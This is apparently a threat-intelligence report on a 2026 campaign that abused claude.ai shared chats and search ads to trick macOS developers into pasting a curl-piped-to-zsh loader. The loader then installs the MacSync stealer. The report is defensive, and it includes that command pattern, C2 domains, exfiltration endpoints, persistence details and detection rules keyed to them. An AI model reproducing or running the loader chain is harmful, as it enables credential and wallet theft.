Skip to navigation

Threat reportMalwareTL-2026-2241

Threat Actors Abuse claude.ai Shared Chat Feature for ClickFix Malvertising Campaign Delivering MacSync Stealer

highACTIVE

Between April 8 and June 14, 2026, TrendAI Research tracked a seven-week, six-wave malvertising campaign that hijacked Google Ads searches for AI developer tools (Claude AI, ChatGPT Codex, Perplexity, Cursor IDE, JetBrains) and pivoted from self-hosted GitLab Pages to legitimate claude.ai shared-chat links to host ClickFix terminal-command instructions on a trusted domain.

Key facts

IdentifiersTL-2026-2241
Also known asClaudeFix
SeverityHIGH
Affected productsApple macOS; Anthropic claude.ai Shared Chat feature
Nation-state nexusRussia
MalwareMacSync Stealer
MITRE ATT&CK techniquesT1005 Data from Local System, T1027 Obfuscated Files or Information, T1036 Masquerading, T1059 Command and Scripting Interpreter, T1082 System Information Discovery, T1140 Deobfuscate/Decode Files or Information, T1204 User Execution, T1497 Virtualization/Sandbox Evasion, T1539 Steal Web Session Cookie, T1546 Event Triggered Execution, T1552 Unsecured Credentials, T1553 Subvert Trust Controls and 3 more in the attack flow
MotivationFINANCIAL
Target sectorstechnology
Target regionsAsia-Pacific, taiwan, japan, singapore, india, france, italy
Detection rules9 (1 shown free)
Sources12 cited sources

Detection coverage

As of 2026-08-30, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-2241 across Splunk SPL, Microsoft KQL and Sigma, covering 22 indicator(s) of compromise. The whole corpus is readable without an account. Every threat comes with one complete detection in Splunk SPL, Microsoft KQL and Sigma, free for everyone; a free account adds daily TL Creds to unlock the rest. Paid plans add a larger daily allowance, correlation and the MCP server. Threadlinqs MCP server · View plans.

Free detection: ClickFix Base64 Curl-to-Zsh Execution After Malvertised AI-Tool Landing Page Visit (SPL)

Detects the MacSync/ClaudeFix exploitation chain: a Terminal/iTerm-launched shell command combining curl, a base64-encoded payload, and a pipe to zsh -- the ClickFix pattern victims are socially engineered into pasting after visiting a malvertised landing page impersonating Claude AI, ChatGPT Codex, Perplexity, Cursor IDE, or JetBrains on GitLab Pages, Bitbucket Pages, or an abused claude.ai/chatgpt.com shared-chat link.

  • Languages: Splunk SPL, Microsoft KQL, Sigma
  • ATT&CK: T1566.002, T1204, T1059.004, T1036.005, T1140
  • Data sources: osquery process_events (macOS fleet telemetry), web/proxy logs (stream:http, pan:threat)
  • Severity: high
  • Confidence: high

Splunk SPL

index=osquery sourcetype="osquery:results" table_name=process_events os_platform=darwin
| eval cmdline_lc=lower(cmdline), parent_lc=lower(parent_name)
| where like(cmdline_lc, "%curl%") AND like(cmdline_lc, "%base64%") AND (like(cmdline_lc, "%|zsh%") OR like(cmdline_lc, "%| zsh%"))
| where match(parent_lc, "terminal|iterm2?|zsh|login")
| eval mitre_technique="T1059.004,T1204,T1140"
| table _time host username parent_name cmdline mitre_technique
| append
    [ search index=proxy (sourcetype="stream:http" OR sourcetype="pan:threat")
      (dest_domain="*.gitlab.io" OR dest_domain="*.bitbucket.io" OR dest_domain="claude.ai" OR dest_domain="chatgpt.com")
      (url="*claude-code-app*" OR url="*claudeapp*" OR url="*mac-clean-storage*" OR url="*mac-guide-tool*" OR url="*perplexity-platform*" OR url="*chatgpt-codex*" OR url="*codexgpt*" OR url="*mac-usb-fix*" OR url="/share/*")
      | eval mitre_technique="T1566.002,T1036.005"
      | table _time host username dest_domain url mitre_technique ]
| sort - _time

Microsoft KQL

let MaliciousLandingHosts = dynamic(["gitlab.io","bitbucket.io","claude.ai","chatgpt.com"]);
let MaliciousLandingPaths = dynamic(["claude-code-app","claudeapp","mac-clean-storage","mac-guide-tool","perplexity-platform","chatgpt-codex","codexgpt","mac-usb-fix","/share/"]);
DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName in~ ("zsh","bash","sh")
| where ProcessCommandLine has "curl" and ProcessCommandLine has "base64" and ProcessCommandLine has_any ("|zsh","| zsh")
| where InitiatingProcessFileName has_any ("Terminal","iTerm","zsh","login")
| extend Detail = ProcessCommandLine, MitreTechnique = "T1059.004,T1204,T1140"
| project Timestamp, DeviceName, AccountName, Detail, MitreTechnique
| union (
    DeviceNetworkEvents
    | where Timestamp > ago(24h)
    | where RemoteUrl has_any (MaliciousLandingHosts) and RemoteUrl has_any (MaliciousLandingPaths)
    | extend Detail = RemoteUrl, MitreTechnique = "T1566.002,T1036.005"
    | project Timestamp, DeviceName, AccountName, Detail, MitreTechnique
)
| sort by Timestamp desc

Sigma

title: MacSync ClickFix Base64 Curl-to-Zsh Loader Execution
id: 7e2a1c4a-3f5b-4b9a-9c2e-1a6d8f0b2c11
status: experimental
description: Detects the ClickFix social-engineering command pattern used in the April-June 2026 MacSync/ClaudeFix malvertising campaign, where a victim pastes a base64-encoded curl-piped-to-zsh loader into Terminal after visiting a malicious landing page impersonating an AI developer tool.
references:
    - https://www.trendmicro.com/en_us/research/26/f/claudeai-shared-chat-abused-in-malvertising.html
    - https://www.zscaler.com/blogs/security-research/claudefix-shared-claude-chats-meet-clickfix
author: Threadlinqs Team
date: 2026-08-30
tags:
    - attack.initial-access
    - attack.t1566.002
    - attack.execution
    - attack.t1204
    - attack.t1059.004
    - attack.defense-evasion
    - attack.t1140
    - attack.t1036.005
    - attack.tool.macsync_stealer
    - attack.campaign.claudefix
logsource:
    category: process_creation
    product: macos
detection:
    selection_parent:
        ParentImage|contains:
            - 'Terminal'
            - 'iTerm'
    selection_cmd:
        CommandLine|contains|all:
            - 'curl'
            - 'base64'
        CommandLine|contains:
            - '|zsh'
            - '| zsh'
    condition: selection_parent and selection_cmd
falsepositives:
    - Developer or admin scripts that legitimately combine curl, base64 decoding, and a shell pipe for software installation (e.g. some Homebrew-adjacent installers) -- verify the decoded payload and destination domain before dismissing
level: high

Known false positives:

  • Legitimate developer install scripts combining curl, base64 decoding, and a shell pipe (e.g. some Homebrew-adjacent installers) -- verify the decoded payload and destination domain before dismissing
  • QA/automation harnesses that script Terminal commands with similar curl|base64|zsh syntax for approved software deployment

Tuning notes: Maintain an allowlist of your organization's approved installer binaries/signing identities (e.g. Homebrew) and exclude their parent-process signatures; widen or narrow the GitLab Pages / Bitbucket Pages / claude.ai / chatgpt.com shared-link path list as new malvertising lures are identified in future waves.

8 more detection rules (Splunk SPL, Microsoft KQL, Sigma) · unlock with TL Creds. Sign up free to unlock the detection rules or query them with the Threadlinqs MCP server (Purple)
  • ClickFix Base64 Curl-to-Zsh Execution After Malvertised AI-Tool Landing Page Visit (KQL) · unlock with TL Creds
  • MacSync Post-Exploitation: Zshrc Persistence, Fileless AppleScript, and Credential-Store Access (KQL) · unlock with TL Creds
  • MacSync Chunked HTTP Exfiltration and ClaudeFix/MacSync C2 Beaconing (KQL) · unlock with TL Creds
  • ClickFix Base64 Curl-to-Zsh Terminal Execution (Sigma) · unlock with TL Creds
  • MacSync Post-Exploitation: Zshrc Persistence and Fileless AppleScript Execution (Sigma) · unlock with TL Creds
  • MacSync Stealer Chunked HTTP Exfiltration and C2 Beacon Domains (Sigma) · unlock with TL Creds
  • MacSync Post-Exploitation: Zshrc Persistence, Fileless AppleScript, and Credential-Store Access (SPL) · unlock with TL Creds
  • MacSync Chunked HTTP Exfiltration and ClaudeFix/MacSync C2 Beaconing (SPL) · unlock with TL Creds

Indicators of compromise

As of 2026-08-30, Threadlinqs Intelligence tracks 22 indicators of compromise for TL-2026-2241.

Sample indicators (3 of 22)

  • Domain: lasvegaslaminateflooring[.]com
  • Domain: filegrowthlabs[.]com
  • Domain: mansfieldpediatrics[.]com

Defanged, TLP:CLEAR. Full set of 22 indicators: unlock with TL Creds.

22 indicators of compromise · unlock with TL Creds. Compare plans

Community OSINT corroboration

1 of this threat's indicators have also been reported by the open-source security community, which observed at least one of them before this report was published. Community sightings are unverified and are kept separate from Threadlinqs' curated indicators. Indicator values, reporters and campaign linkage are available to authenticated Red-tier users.

Technical analysis

The campaign delivered the macOS-targeting MacSync infostealer to 2,000+ victims (67.2% APAC, 30.5% Taiwan), harvesting browser credentials, cookies, SSH keys, AWS/Kubernetes configs, cryptocurrency wallets and Telegram data before Anthropic banned the responsible accounts and disabled the malicious shared conversations.

TrendAI Research (Trend Micro) documented a sustained Google Ads malvertising operation running April 8 - June 14, 2026 across six attack waves and 106 unique malicious hostnames. The campaign impersonated at least six brands relevant to AI-assisted developers - ChatGPT Codex, Perplexity, Cursor IDE, JetBrains, and Claude AI/claude.ai - by purchasing sponsored search results for queries such as "claude download" and "claude mac," exploiting the fact that technically skilled users are more likely to trust and execute terminal instructions without suspicion.

Waves 1-4 (April 8 - early May 2026) hosted fake installer and "Mac cleanup" landing pages on 92+ GitLab Pages subdomains (e.g. claude-code-app.gitlab.io, chatgpt-codex.gitlab.io). Beginning with Wave 5 (May 6-14), the operators pivoted to abusing claude.ai's legitimate shared-conversation feature: they set the Claude account display name to "Apple Support" (and later a "Corda Team" persona) and published shared chats containing step-by-step ClickFix instructions for opening Terminal and pasting a Base64-encoded command. By Wave 6 (May 21 - June 14) the campaign had abandoned GitLab infrastructure entirely, using 45 to 61+ distinct claude.ai shared-conversation IDs to host the lure - because the payload now resolved from a fully trusted, Safe-Browsing-exempt domain, it evaded the browser and search-engine warnings that would normally flag a freshly registered malicious host.

The ClickFix command decodes to a curl-piped-to-zsh loader (observed pattern: `curl -kfsSL $(echo '<base64>' | base64 -D) | zsh`) that retrieves a Base64+gzip-packed second-stage script from a C2 host (Zscaler's overlapping June 12-19 sub-wave, dubbed "ClaudeFix," used lasvegaslaminateflooring.com among 170+ hosting domains). That script authenticates to a `/dynamic?txd=<token>` endpoint with a hardcoded API key and fetches a fileless AppleScript payload executed via the Apple-signed `osascript` interpreter, leaving minimal disk artifacts. The AppleScript is MacSync, a Malware-as-a-Service macOS infostealer first tracked since November 2025 across prior ClickFix waves that impersonated OpenAI ChatGPT Atlas and abused chatgpt.com shared-conversation links. MacSync enumerates running processes and system information, then harvests Keychain data, Chromium/Firefox browser credentials and cookies, SSH keys, AWS and Kubernetes configuration files, Telegram Desktop data, shell history, and targeted file extensions (.wallet, .key, .seed, .kdbx, .pem), alongside 80-130+ browser-extension cryptocurrency wallets and desktop wallets (Exodus, Electrum, Bitcoin, Monero, Litecoin); later MacSync variants also trojanize the Ledger hardware-wallet application to capture seed phrases. Stolen data is staged under `/tmp/sync<7-digit-random>/`, archived to `/tmp/osalogging.zip`, and exfiltrated via HTTP PUT in 10MB chunks (up to 8 retries) to a `/gate?buildtxd=...&upload_id=...&chunk_index=...&total_chunks=...` endpoint, with wallet-specific data routed through `/ledger/` and `/trezor/` paths. Observed evasion includes Base64/gzip obfuscation, output redirection to /dev/null, a Russian-keyboard-layout check that skips execution on likely CIS-region hosts, and (in related MacSync iterations) abuse of Apple code-signing/notarization to suppress Gatekeeper warnings entirely. Persistence is achieved by appending the download-and-execute command to `~/.zshrc`, re-triggering on each new terminal session.

Victim telemetry skewed heavily toward Asia-Pacific (67.2%), led by Taiwan (30.5%, 772 confirmed interactions), Japan (201) and Singapore (188), with later waves expanding into India, France and Italy. Russian-language comments found in campaign-tracking code, combined with the CIS-region exclusion logic, point toward a Russian-speaking criminal operator running MacSync as a MaaS offering rather than a nation-state actor. Upon notification by TrendAI Research, Anthropic investigated, banned the accounts responsible, disabled the malicious shared conversations, and stated it is implementing additional abuse mitigations for the shared-chat feature; because MacSync's operators have rotated infrastructure across at least three prior campaign iterations (Nov 2025, Dec 2025, Feb 2026 - the last of which targeted U.S. SLTT government macOS users) before this wave, recurrence via the same or another trusted-platform vector remains likely.

MITRE ATT&CK techniques by tactic:

Collection

T1005 Data from Local System

Defense Evasion

T1027 Obfuscated Files or Information; T1036 Masquerading; T1140 Deobfuscate/Decode Files or Information; T1497 Virtualization/Sandbox Evasion

Execution

T1059 Command and Scripting Interpreter; T1204 User Execution

Discovery

T1082 System Information Discovery

Credential Access

T1539 Steal Web Session Cookie; T1552 Unsecured Credentials; T1555 Credentials from Password Stores

Persistence

T1546 Event Triggered Execution

defense-impairment

T1553 Subvert Trust Controls

Initial Access

T1566 Phishing

Resource Development

T1583 Acquire Infrastructure

Remediation

Immediate actions

  • Block known malicious infrastructure at DNS/web proxy: GitLab Pages subdomains used in Waves 1-4, and C2 domains including lasvegaslaminateflooring.com, filegrowthlabs.com, mansfieldpediatrics.com, and houstongaragedoorinstallers.com
  • Identify and alert users who clicked sponsored Google Ads for Claude AI, ChatGPT Codex, Perplexity, Cursor IDE, or JetBrains between April 8 and June 14, 2026, or who opened a claude.ai shared-chat link from an unsolicited ad
  • On any macOS host where a Terminal command was pasted from a webpage or shared chat, treat the endpoint as compromised: rotate SSH keys, AWS/Kubernetes credentials, browser-saved passwords, and any cryptocurrency wallet keys, and inspect ~/.zshrc for an appended download-and-execute line

Workarounds

  • Restrict or disable AppleScript/osascript execution for standard (non-developer) macOS users where operationally feasible
  • Disable or heavily scrutinize sponsored search results for software-download queries in corporate browsing policy/DNS filtering

Longer-term hardening

  • Train users - especially developers and technically proficient staff who are the deliberate targets of this campaign - on ClickFix social engineering: never paste or execute Terminal/PowerShell commands sourced from a webpage, advertisement, or shared chat link, regardless of the hosting domain's trust reputation
  • Deploy EDR monitoring for osascript/AppleScript execution chains, curl-piped-to-shell invocations, and outbound HTTP PUT traffic in fixed-size chunks characteristic of stealer exfiltration
  • Apply application allow-listing on managed macOS fleets to prevent ad hoc script execution outside of approved software management channels
  • Treat trusted-platform user-generated-content features (shared chats, shared conversations, code-hosting pages) as an untrusted delivery vector for security tooling, independent of the hosting domain's overall reputation

Affected and fixed versions

  • Apple — macOS
    Vulnerable versions: all supported versions - delivered via social engineering, not a software vulnerability
  • Anthropic — claude.ai Shared Chat feature
    Vulnerable versions: abused April 8 - June 14, 2026; Anthropic has since banned the responsible accounts, disabled the malicious shared conversations, and is implementing additional abuse mitigations

Timeline

  • First documented MacSync ClickFix wave impersonates OpenAI's ChatGPT Atlas browser via Google sponsored search, directing victims to fake Google Sites download pages that prompt Terminal command execution.
  • Second MacSync wave abuses legitimate ChatGPT shared-conversation links (chatgpt.com/share/...) to host Mac-maintenance-themed ClickFix instructions, driving 18,000+ clicks in three days before redirecting to GitHub-themed installer pages.
  • Third MacSync iteration adopts a Loader-as-a-Service model with in-memory AppleScript payloads, targets U.S. SLTT government macOS users, and expands to Belgium, India, and North/South America; CIS/MS-ISAC disseminates 1,000+ associated IOCs to members.
  • TrendAI Research's tracked campaign begins: Google Ads hijack searches for Claude AI, ChatGPT Codex, Perplexity, Cursor IDE, and JetBrains, funneling victims to 92+ malicious GitLab Pages subdomains across Waves 1-4.
  • Wave 5 (May 6-14): operators pivot from self-hosted GitLab Pages to abusing claude.ai's legitimate shared-chat feature, setting the Claude account display name to "Apple Support" to host ClickFix terminal instructions on a fully trusted domain.
  • Wave 6 (May 21 - June 14): campaign fully abandons GitLab infrastructure; 45 to 61+ unique claude.ai shared-conversation IDs are identified hosting ClickFix payloads, alongside a newly observed "Corda Team" impersonation persona.
  • Zscaler documents an overlapping short-lived sub-wave (June 12-19), dubbed "ClaudeFix," using C2 domain locked-ioc-3 among 170+ hosting domains and a multi-stage curl-to-zsh-to-AppleScript loader chain.
  • Tracked campaign activity window closes; TrendAI Research reports totals of 106 unique malicious hostnames across six waves, 45-60+ abused claude.ai shared-chat instances, and 2,000+ confirmed victims (67.2% APAC, 30.5% Taiwan).
  • Trend Micro publishes its technical research; Anthropic confirms it investigated, banned the responsible accounts, disabled the malicious shared conversations, and is implementing additional abuse mitigations for the shared-chat feature.

Sources cited

Previous and next in malware

Drafted by the Threadlinqs research pipeline from 12 sources; published ; last updated —.

Threadlinqs Intelligence — Real-Time Threat Detection Platform

// threat_feed
$ sort --newest
Showing all threats

Live intelligence console

Threat level

Latest Threats